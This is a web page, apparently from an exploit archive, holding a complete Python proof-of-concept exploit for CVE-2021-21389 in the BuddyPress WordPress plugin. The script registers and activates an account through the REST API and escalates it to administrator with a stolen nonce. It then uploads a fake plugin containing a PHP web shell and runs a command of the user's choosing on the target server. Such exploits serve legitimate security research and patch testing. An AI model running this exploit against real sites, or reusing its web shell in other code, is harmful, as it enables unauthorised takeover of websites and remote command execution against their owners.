4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2021-21389.py PY
import requests
import re
import sys,json,datetime,random,string

#proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"} 
proxies={}
# register via REST API without email confirmation
def random_char(y):
       return ''.join(random.choice(string.ascii_letters) for x in range(y))

def register(url,username,password):
    headers={
    "Content-Type": "application/json; charset=UTF-8"
    }
    data={
        "user_login":username,
        "user_email":random_char(7)+"@test.com",
        "user_name":username,
        "password":password
    }
    r = requests.post(url+"/wp-json/buddypress/v1/signup",headers=headers,data=json.dumps(data),proxies=proxies)
    if r.status_code==500 : 
        print("[-] That username already exists!")
        print("[+] Try to login this username ....")
        login(url,username,password)
    elif r.status_code==404 : 
        print("[-] Can't register because registration is disabled!")
        sys.exit(1)
    else: 
        data=json.loads(r.text)
        activation_key=data[0]["activation_key"]
        #print(activation_key)
        # active account
        requests.put(url+"/wp-json/buddypress/v1/signup/activate/"+activation_key,proxies=proxies)
    

def login(url,username,password):
    session = requests.Session()
    creds={
        'log':username,
        'pwd':password
        }
    r=session.post(url+"/wp-login.php",data=creds,allow_redirects=False,proxies=proxies)
    if (r.status_code!=302) : 
        print("[-] Login fail!")
        sys.exit(1)
    print("[+] Login successfully!")
    return session
# to get X-WP-Nonce
def createNewgroup(url,s,username):
    print("[+] Creating new group to get X-WP-Nonce")
# get _wpnonce
    response = s.get(url+"/groups/create/step/group-details/",proxies=proxies)
    if (response.status_code==404): 
        print("[-] The site needs to enable User Groups component!")
        sys.exit(1)
    _wp_nonce = re.findall(r'name="_wpnonce" value="(\w+)"',response.text)[0]
    #print(_wp_nonce)
    group_name="cve-2021-21389"+username
    files = {
        'group-name': (None, group_name),
        'group-desc': (None, group_name),
        '_wpnonce': (None, _wp_nonce),
        'group-id': (None, '0'),
        'save': (None, 'Create Group and Continue')
    }
    s.post(url+"/groups/create/step/group-details/", files=files,proxies=proxies)
    # get X-WP-Nonce
    resp=s.get(url+"/groups/"+group_name+"/admin/manage-members/",proxies=proxies)
    wp_nonce=re.findall('var wpApiSettings = .*\;',resp.text)
    wp_nonce=re.sub('^.*\"nonce\"\:\"','',wp_nonce[0])
    x_wp_nonce=re.sub('\".*$','',wp_nonce)
    #print(x_wp_nonce) 
    return x_wp_nonce

def privilegeEscalation(url,s,x_wp_nonce):
    print("[+] Privilege Escalation to Administrator!")
    # Let's use that nonce in X-WP-Nonce headder
    headers={
    'X-WP-Nonce':x_wp_nonce,
    "Content-Type": "application/json; charset=UTF-8"
    }
    data={
        "roles":"administrator"
    }
    s.post(url+"/wp-json/buddypress/v1/members/me",headers=headers,data=json.dumps(data),proxies=proxies)

def rce(url,s,command):
    print("[+] Checking RCE ...")
    #get nonce
    filename="cve202121389.php"
    response = s.get(url+"/wp-admin/plugin-install.php",proxies=proxies)
    if (response.status_code==403) : 
        print("[-] You are not an administator!")
        sys.exit(1)
    _wp_nonce = re.findall(r'name="_wpnonce" value="(\w+)"',response.text)[0]
    # select upload fake plugin to rce
    files = {
        '_wpnonce': (None, _wp_nonce),
        'pluginzip': (filename, "<?php system($_GET['cmd']); ?>", 'application/octet-stream'),
        'install-plugin-submit': (None, 'Install Now')
    }
    s.post(url+"/wp-admin/update.php?action=upload-plugin", files=files,proxies=proxies)
    # get link rce
    # get year,month
    now = datetime.datetime.now()
    year = '{:02d}'.format(now.year)
    month = '{:02d}'.format(now.month)
    print("[+] RCE via "+command+" command:")
    link_shell=url+"/wp-content/uploads/"+year+"/"+month+"/"+filename+"?cmd="+command
    resp=s.get(link_shell,proxies=proxies)
    print(resp.text)
    print("[+] Link RCE: \n"+link_shell)
    print("[+] Done!")

def main():
    if len(sys.argv) != 5:
        print ("[+] Usage: %s <target> <new username> <new password> <command>" % sys.argv[0])
        print ('[+] eg: %s http://test.local test 1234 whoami' % sys.argv[0])
        sys.exit(-1)
    url=sys.argv[1]
    username=sys.argv[2]
    password=sys.argv[3]
    command=sys.argv[4]
    print("[+] Try to register ...")
    register(url,username,password)
    print("[+] Try to login ...")
    s=login(url,username,password)
    x_wp_nonce=createNewgroup(url,s,username)
    privilegeEscalation(url,s,x_wp_nonce)
    rce(url,s,command)

if __name__ == "__main__":
    main()